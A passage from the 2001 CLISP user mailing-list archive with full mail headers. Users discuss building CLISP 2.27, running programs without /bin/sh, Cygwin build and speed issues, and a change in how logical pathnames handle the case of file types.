but not a whole number of bytes. > > -- > Sam Steingold (http://www.podval.org/~sds) > Lisp: Serious empowerment. > -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: noconv iQBVAwUBO1RNRCFvAtx2nXvNAQH3EgH+NUz+JOLEwmSuyNKM1axSUY9+/1Rfd23A O45eCeNGNP3jfC6svX1xtGIxSEm/k+oTAHOEW6TNTWNr3dQ8JdQhsg== =s5is -----END PGP SIGNATURE----- From sds@gnu.org Tue Jul 17 14:42:13 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Mcbd-0000b9-00 for ; Tue, 17 Jul 2001 14:42:13 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id RAA07973; Tue, 17 Jul 2001 17:42:02 -0400 (EDT) X-Envelope-To: To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (no subject) References: <2942.010716@crosswinds.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <2942.010716@crosswinds.net> Date: 17 Jul 2001 17:40:27 -0400 Message-ID: Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <2942.010716@crosswinds.net> > * On the subject of "[clisp-list] (no subject)" > * Sent on Mon, 16 Jul 2001 22:37:38 +1000 > * Honorable Arseny Slobodjuck writes: > > There's a patches: could you please send the diff -u against src/stream.d? thanks. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on The difference between genius and stupidity is that genius has its limits. From bruce253@163.net Tue Jul 17 17:24:11 2001 Received: from [211.101.185.130] (helo=clubsvr) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Mf8L-0006gM-00 for ; Tue, 17 Jul 2001 17:24:09 -0700 Received: from [211.101.185.130] by clubsvr (ArGoSoft Mail Server Plus, Version 1.4 (1.4.0.5)); Wed, 18 Jul 2001 08:27:44 Message-ID: <3B54D6FB.8040906@163.net> Date: Wed, 18 Jul 2001 08:23:23 +0800 From: Bruce User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.18pre21 i686; en-US; rv:0.9.1) Gecko/20010612 X-Accept-Language: zh-cn, en MIME-Version: 1.0 To: clisp-list References: <200107171435.f6HEZmK07825@ak47.algebra.com> Content-Type: text/plain; charset=GB2312 Content-Transfer-Encoding: 7bit Subject: [clisp-list] Re: GNU CLISP 2.27 release Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: >>GNU CLISP 2.27 is now available at >> http://clisp.cons.org >> https://sourceforge.net/project/showfiles.php?group_id=1355 >> ftp://clisp.cons.org/pub/lisp/clisp/source/latest/ >> ftp://clisp.cons.org/pub/lisp/clisp/binaries/latest/ >> ftp://clisp.sourceforge.net/pub/clisp/latest/ The latest release seems not to produce suggestions with how to "makemake" when running "./configure". Since I forgot what arguments I did with previous releases, I ran with "./makemake >Makefile". When running "make", it says "No targets specified and no makefile found. Stop." when entering the directory "clisp-2.27/src/gettext/intl". Any ideas? From ampy@crosswinds.net Tue Jul 17 19:49:48 2001 Received: from out-mx1.crosswinds.net ([209.208.163.38]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15MhPH-0002Mg-00 for ; Tue, 17 Jul 2001 19:49:48 -0700 Received: from member-mx1.crosswinds.net (member-mx1.crosswinds.net [209.208.163.43]) by out-mx1.crosswinds.net (Postfix) with ESMTP id 92C7B5D353; Tue, 17 Jul 2001 22:49:45 -0400 (EDT) Received: from 212.107.205.50 (unknown [212.107.205.50]) by member-mx1.crosswinds.net (Postfix) with ESMTP id 1C8DA4CBCB; Tue, 17 Jul 2001 22:49:44 -0400 (EDT) Date: Wed, 18 Jul 2001 13:54:37 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck X-Priority: 3 (Normal) Message-ID: <176103550347.20010718135437@crosswinds.net> To: Sam Steingold Cc: clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] (no subject) In-reply-To: References: <2942.010716@crosswinds.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hello Sam, Wednesday, July 18, 2001, 7:40:27 AM, you wrote: >> >> There's a patches: SS> could you please send the diff -u against src/stream.d? SS> thanks. I'll try to do it this week first introdusing the patches to newest version. Currently I'm working with 2000-03-06 sources and diff is quite big... -- Best regards, Arseny mailto:ampy@crosswinds.net From peter.wood@worldonline.dk Tue Jul 17 22:57:27 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15MkKr-00074k-00 for ; Tue, 17 Jul 2001 22:57:25 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 8F372B53B for ; Wed, 18 Jul 2001 07:57:21 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f6I5oNO19046; Wed, 18 Jul 2001 07:50:23 +0200 Date: Wed, 18 Jul 2001 07:50:23 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] run-program uses shell? Message-ID: <20010718075023.A19035@localhost.localdomain> References: <20010715231453.A437@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Mon, Jul 16, 2001 at 12:03:33PM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Mon, Jul 16, 2001 at 12:03:33PM -0400, Sam Steingold wrote: > > * Honorable Peter Wood writes: > > > > Is there some compelling reason that running programs has to go > > through the shell? "(run-program ...)" is just a frontend for > > "(run-shell-command ... :may-exec t)", right? Is this purely for > > portability reasons? > > it also saves you PATH handling. > and you should not underestimate the portability concerns... Well, if _my_ app is not going to be portable, I don't have to worry about PATH handling. Problem solved, for _me_. > > > It's easy enough to run programs without /bin/sh using linux:fork and > > linux:execlp*, but wait() is missing. Is there some horrible, > > insurmountable ffi thing with wait()? How difficult would it be to do > > a complete binding for wait() so all the WIF*(stat_val) stuff was > > accessible from Lisp? > > > > I want to use CLISP as _the_ shell, not as a frontend to /bin/sh. > > /bin/sh is so small that this should not matter I am completely unconcerned with efficiency/speed issues. I am writing a Common Lisp Shell. It can not depend on other shells for what it does. > Yes, is all you want to do is start other programs, CLISP is probably > _not_ the right tool. A shell does more than run programs. Regards, Peter From bruce253@163.net Tue Jul 17 23:35:49 2001 Received: from [211.101.185.130] (helo=clubsvr) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Mkw0-00055l-00 for ; Tue, 17 Jul 2001 23:35:48 -0700 Received: from [211.101.185.130] by clubsvr (ArGoSoft Mail Server Plus, Version 1.4 (1.4.0.5)); Wed, 18 Jul 2001 14:39:34 Message-ID: <3B552E21.7020702@163.net> Date: Wed, 18 Jul 2001 14:35:13 +0800 From: Bruce User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.18pre21 i686; en-US; rv:0.9.1) Gecko/20010612 X-Accept-Language: zh-cn, en MIME-Version: 1.0 To: clisp-list Subject: Re: [clisp-list] Re: GNU CLISP 2.27 release References: <200107171435.f6HEZmK07825@ak47.algebra.com> <3B54D6FB.8040906@163.net> Content-Type: text/plain; charset=GB2312 Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > Since I forgot what arguments I did with previous releases, I ran with > "./makemake >Makefile". When running "make", it says "No targets > specified and no makefile found. Stop." when entering the directory > "clisp-2.27/src/gettext/intl". Sorry, I made the mistake of running "./configure" in the "src" directory rather than "clisp-2.27" directory. -- But, for my own part, it was Greek to me. -- William Shakespeare, "Julius Caesar" From peter.wood@worldonline.dk Wed Jul 18 02:20:28 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15MnVK-0007Jr-00 for ; Wed, 18 Jul 2001 02:20:26 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id E32A8B56E for ; Wed, 18 Jul 2001 11:20:21 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f6I9Efp21232; Wed, 18 Jul 2001 11:14:41 +0200 Date: Wed, 18 Jul 2001 11:14:41 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] run-program uses shell? Message-ID: <20010718111441.A21221@localhost.localdomain> References: <20010715231453.A437@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Mon, Jul 16, 2001 at 12:03:33PM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Mon, Jul 16, 2001 at 12:03:33PM -0400, Sam Steingold wrote: > > * Honorable Peter Wood writes: > > > > Is there some compelling reason that running programs has to go > > through the shell? "(run-program ...)" is just a frontend for > > "(run-shell-command ... :may-exec t)", right? Is this purely for > > portability reasons? > > it also saves you PATH handling. > and you should not underestimate the portability concerns... > > > It's easy enough to run programs without /bin/sh using linux:fork and > > linux:execlp*, but wait() is missing. Is there some horrible, > > insurmountable ffi thing with wait()? How difficult would it be to do > > a complete binding for wait() so all the WIF*(stat_val) stuff was > > accessible from Lisp? > > > > I want to use CLISP as _the_ shell, not as a frontend to /bin/sh. > > /bin/sh is so small that this should not matter > > Yes, is all you want to do is start other programs, CLISP is probably > _not_ the right tool. > CLISP is good for many other things though :-) To answer my own question: It is not a problem adding wait() and waitpid() to linux.lisp. I have just done it. Took about 20 minutes, including the remake. The WIF*(stat_val) stuff is inaccesible, I think, but wait() itself works fine, so now my shell can do (with-fork (child-process) (parent-process)) And either have parent wait for child or not, as I choose, and without the _fscking_ shell intermediary. And with the option of easing the syntax of run-program. :-) Regards, Peter From toy@rtp.ericsson.se Wed Jul 18 12:38:04 2001 Received: from imr1.ericy.com ([208.237.135.240]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Mx91-0008GV-00 for ; Wed, 18 Jul 2001 12:38:03 -0700 Received: from mr7.exu.ericsson.se (mr7u3.ericy.com [208.237.135.122]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id f6IJc1p25223 for ; Wed, 18 Jul 2001 14:38:02 -0500 (CDT) Received: from eamrcnt747.exu.ericsson.se (eamrcnt747.exu.ericsson.se [138.85.133.37]) by mr7.exu.ericsson.se (8.11.3/8.11.3) with SMTP id f6IJc1c09150 for ; Wed, 18 Jul 2001 14:38:01 -0500 (CDT) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt747.exu.ericsson.se ; Wed Jul 18 14:38:01 2001 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.123.225]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id PAA12605; Wed, 18 Jul 2001 15:38:40 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.9.3+Sun/8.9.1) id PAA22455; Wed, 18 Jul 2001 15:37:59 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] run-program uses shell? References: <20010715231453.A437@localhost.localdomain> <20010718075023.A19035@localhost.localdomain> From: Raymond Toy Date: 18 Jul 2001 15:37:59 -0400 In-Reply-To: <20010718075023.A19035@localhost.localdomain> Message-ID: <4n3d7u9gfc.fsf@rtp.ericsson.se> Lines: 13 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (anise) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: >>>>> "Peter" == Peter Wood writes: Peter> I am completely unconcerned with efficiency/speed issues. I am Peter> writing a Common Lisp Shell. It can not depend on other shells for Peter> what it does. Why not? While sh can do a fair amount, there are lots of things it can't do without help. So I don't see a problem with clisp needing sh to do things. But this doesn't really have anything to do with clisp anymore.... Ray From vs1100@terra.es Wed Jul 18 13:49:20 2001 Received: from mailhost.teleline.es ([195.235.113.141] helo=tsmtp9.mail.isp) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15MyFy-0008Bs-00 for ; Wed, 18 Jul 2001 13:49:18 -0700 Received: from me2xz.terra.es ([62.36.25.233]) by tsmtp9.mail.isp (Netscape Messaging Server 4.15 tsmtp9 Jun 8 2001 14:53:09) with ESMTP id GGOSIE00.YZ0 for ; Wed, 18 Jul 2001 22:49:26 +0200 Message-Id: <5.1.0.14.0.20010718224332.00a03b40@pop3.terra.es> X-Sender: vs1100.terra.es@pop3.terra.es (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Wed, 18 Jul 2001 22:47:55 +0200 To: clisp-list@lists.sourceforge.net From: Karsten Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [clisp-list] Speed of Clisp 2.27 on Windows using msvc/cygwin gcc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: To my surprise clisp 2.27 is way faster (75 %) built with cygwin/gcc compared to the distributed binary (built with msvc 6.0 ?). Any idea why? Gcc simply compiles that better? Karsten From vs1100@terra.es Wed Jul 18 14:04:01 2001 Received: from mailhost.teleline.es ([195.235.113.141] helo=tsmtp2.mail.isp) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15MyUB-0002Tp-00 for ; Wed, 18 Jul 2001 14:03:59 -0700 Received: from me2xz.terra.es ([62.36.25.233]) by tsmtp2.mail.isp (Netscape Messaging Server 4.15 tsmtp2 Jun 8 2001 14:53:09) with ESMTP id GGOT1G00.JF2 for ; Wed, 18 Jul 2001 23:00:52 +0200 Message-Id: <5.1.0.14.0.20010718224852.00a02ec0@pop3.terra.es> X-Sender: vs1100.terra.es@pop3.terra.es X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Wed, 18 Jul 2001 23:03:20 +0200 To: clisp-list@lists.sourceforge.net From: Karsten In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [clisp-list] Building clisp 2.27 under Windows Me/Cygwin Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I have minor problems building clisp on Cygwin concerning stream.d getservent and endservent does not seem to be defined The macro for ipv6_ntop(buffer,addr) is not working since in6_u.u6_addr16 does not seem to exist. After replacing the missing function by dummy definitions every compiles and works fine. Anybody else using cygwin with clisp? Karsten From sds@gnu.org Wed Jul 18 16:07:29 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15N0Ph-0002pi-00 for ; Wed, 18 Jul 2001 16:07:29 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id TAA05604; Wed, 18 Jul 2001 19:07:25 -0400 (EDT) X-Envelope-To: To: Karsten Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Speed of Clisp 2.27 on Windows using msvc/cygwin gcc References: <5.1.0.14.0.20010718224332.00a03b40@pop3.terra.es> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5.1.0.14.0.20010718224332.00a03b40@pop3.terra.es> Date: 18 Jul 2001 19:06:01 -0400 Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <5.1.0.14.0.20010718224332.00a03b40@pop3.terra.es> > * On the subject of "[clisp-list] Speed of Clisp 2.27 on Windows using msvc/cygwin gcc" > * Sent on Wed, 18 Jul 2001 22:47:55 +0200 > * Honorable Karsten writes: > > To my surprise clisp 2.27 is way faster (75 %) built with cygwin/gcc > compared to the distributed binary (built with msvc 6.0 ?). is it cygwin or mingw? > Any idea why? Gcc simply compiles that better? how do you measure speed? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Live Lisp and prosper. From ibum@hillcountry.net Wed Jul 18 21:02:17 2001 Received: from genesis.hillcountry.net ([207.235.18.194]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15N50y-000434-00 for ; Wed, 18 Jul 2001 21:02:16 -0700 Received: from debian.hillcountry.net (v36.abtech-dist.com [208.246.49.36]) by genesis.hillcountry.net (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id XAA24564 for ; Wed, 18 Jul 2001 23:02:26 -0500 To: clisp-list@lists.sourceforge.net From: IBMackey Date: 18 Jul 2001 23:12:06 -0500 Message-ID: <87elrdimll.fsf@hillcountry.net> Lines: 14 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.4 (Developer-Friendly Unix APIs) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Can't load progs into Clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I installed clisp onto a windows machine. When I try to load one of my lisp program files Win32 error - file not found. I've loaded clisp with a batch file that set the path to the clisp directory. No go. I've put the program file in the same directory with the lisp image, no go. The only program I've been able to load is a tiny 3 line program that runs the windows ping program every 3 minutes (keeps my isp open.) Any help is much appreciated, i.b. From VS1100@terra.es Thu Jul 19 02:48:00 2001 Received: from mailhost.teleline.es ([195.235.113.141] helo=tsmtppp2.teleline.es) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15NAPU-000245-00 for ; Thu, 19 Jul 2001 02:47:56 -0700 Received: from teleline.es ([10.10.21.44]) by tsmtppp2.teleline.es (Netscape Messaging Server 4.15 tsmtppp2 Jun 8 2001 14:53:09) with ESMTP id GGPSCF00.E18; Thu, 19 Jul 2001 11:43:27 +0200 From: VS1100 To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Message-ID: <207c862087a4.2087a4207c86@teleline.es> Date: Thu, 19 Jul 2001 11:43:29 +0200 X-Mailer: Netscape Webmail MIME-Version: 1.0 Content-Language: es X-Accept-Language: es Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: 7bit Subject: [clisp-list] Re: Speed of Clisp 2.27 on Windows using msvc/cygwin gcc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hello, I am using Cygwin, newest version. I am measuring speed with time. The benchmark takes about 20 seconds using the cygwin build and 37 seconds the built from sourceforge. I also measured with a normal watch to verify the results. ----- Mensaje Original ----- De: Sam Steingold Fecha: Jueves, Julio 19, 2001 1:06 am Asunto: Re: [clisp-list] Speed of Clisp 2.27 on Windows using msvc/cygwin gcc > > * In message <5.1.0.14.0.20010718224332.00a03b40@pop3.terra.es> > > * On the subject of "[clisp-list] Speed of Clisp 2.27 on Windows > using msvc/cygwin gcc" > > * Sent on Wed, 18 Jul 2001 22:47:55 +0200 > > * Honorable Karsten writes: > > > > To my surprise clisp 2.27 is way faster (75 %) built with cygwin/gcc > > compared to the distributed binary (built with msvc 6.0 ?). > > is it cygwin or mingw? > > > Any idea why? Gcc simply compiles that better? > > how do you measure speed? ___________________________________________________________________ Consigue tu e-mail gratuito TERRA.ES Haz clic en http://www.terra.es/correo/ From stig@ii.uib.no Thu Jul 19 06:05:50 2001 Received: from eik.ii.uib.no ([129.177.16.3] helo=ii.uib.no) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15NDUx-0003gf-00 for ; Thu, 19 Jul 2001 06:05:48 -0700 Received: from apal-192.ii.uib.no (apal.ii.uib.no) [129.177.192.27] by ii.uib.no with esmtp (Exim 3.03) id 15NDUu-0006pz-00 ; Thu, 19 Jul 2001 15:05:44 +0200 Received: (from stig@localhost) by apal.ii.uib.no (8.10.2+Sun/8.10.2) id f6JD5hE15469; Thu, 19 Jul 2001 15:05:43 +0200 (MEST) Date: Thu, 19 Jul 2001 15:05:43 +0200 From: Stig E Sandoe To: Sam Steingold Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] 2.27? Message-ID: <20010719150542.A6660@apal.ii.uib.no> Mail-Followup-To: Stig E Sandoe , Sam Steingold , clisp-list@lists.sourceforge.net References: <20010712023420.A11913@apal.ii.uib.no> <20010712184252.A27015@apal.ii.uib.no> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Thu, Jul 12, 2001 at 04:16:14PM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Quoting Sam Steingold (sds@gnu.org): | > * In message <20010712184252.A27015@apal.ii.uib.no> | > * On the subject of "Re: [clisp-list] 2.27?" | > * Sent on Thu, 12 Jul 2001 18:42:52 +0200 | > * Honorable Stig E Sandoe writes: | > | > | yes - wonna help? | > | There are lots of things you could do. | > what is needed? | | 1. get the current CVS CLISP and thoroughly test it. I've been delayed by a report that had to be written. Something did however change from the CVS I used to the released 2.27 that I don't think is 100% right. (All examples are initiated by (setf (logical-pathname-translations "CL-LIBRARY") nil) ) 2.26-cvs: [2]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) :type "C" :case :common) :host "CL-LIBRARY" :case :common) #S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME NIL :TYPE "C" :VERSION NIL) [3]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) :type "c" :case :common) :host "CL-LIBRARY" :case :common) #S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME NIL :TYPE "C" :VERSION NIL) [the directory in this example is obviously wrong, but that was fixed, the TYPE is the baffling part.] 2.27: [2]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) :type "C" :case :common) :host "CL-LIBRARY" :case :common) #S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "c" :VERSION NIL) [3]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) :type "c" :case :common) :host "CL-LIBRARY" :case :common) #S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "C" :VERSION NIL) [Directory is apparently fixed, but it seems as if TYPE changes case.] To compare with two other implementations: ACL6: CL-USER(2): (describe (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) :type "c" :case :common) :host "CL-LIBRARY" :case :common)) #p"CL-LIBRARY:;**;.c" is a structure of type LOGICAL-PATHNAME. It has these slots: HOST "CL-LIBRARY" DEVICE NIL DIRECTORY (:RELATIVE :WILD-INFERIORS) NAME NIL TYPE "c" VERSION NIL NAMESTRING NIL HASH NIL DIR-NAMESTRING "**/" CL-USER(3): (describe (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) :type "C" :case :common) :host "CL-LIBRARY" :case :common)) #p"CL-LIBRARY:;**;.C" is a structure of type LOGICAL-PATHNAME. It has these slots: HOST "CL-LIBRARY" DEVICE NIL DIRECTORY (:RELATIVE :WILD-INFERIORS) NAME NIL TYPE "C" VERSION NIL NAMESTRING NIL HASH NIL DIR-NAMESTRING "**/" CMUCL: USER> (describe (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) :type "c" :case :common) :host "CL-LIBRARY" :case :common)) #, Directory=(:RELATIVE :WILD-INFERIORS), File=NIL, Name="c", Version=NIL> is a structure of type LOGICAL-PATHNAME. HOST: #. DEVICE: :UNSPECIFIC. DIRECTORY: (:RELATIVE :WILD-INFERIORS). NAME: NIL. TYPE: "c". VERSION: NIL. USER> (describe (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) :type "C" :case :common) :host "CL-LIBRARY" :case :common)) #, Directory=(:RELATIVE :WILD-INFERIORS), File=NIL, Name="C", Ve rsion=NIL> is a structure of type LOGICAL-PATHNAME. HOST: #. DEVICE: :UNSPECIFIC. DIRECTORY: (:RELATIVE :WILD-INFERIORS). NAME: NIL. TYPE: "C". VERSION: NIL. [So apparently type-case is kept.. ] Any ideas on this change? -- ------------------------------------------------------------------ Stig Erik Sandoe stig@ii.uib.no http://www.ii.uib.no/~stig/ From sds@gnu.org Thu Jul 19 07:02:52 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15NEOC-0007T1-00 for ; Thu, 19 Jul 2001 07:02:52 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA02284; Thu, 19 Jul 2001 10:02:46 -0400 (EDT) X-Envelope-To: To: IBMackey Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Can't load progs into Clisp References: <87elrdimll.fsf@hillcountry.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87elrdimll.fsf@hillcountry.net> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 Date: 19 Jul 2001 10:02:00 -0400 Message-ID: Lines: 30 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message 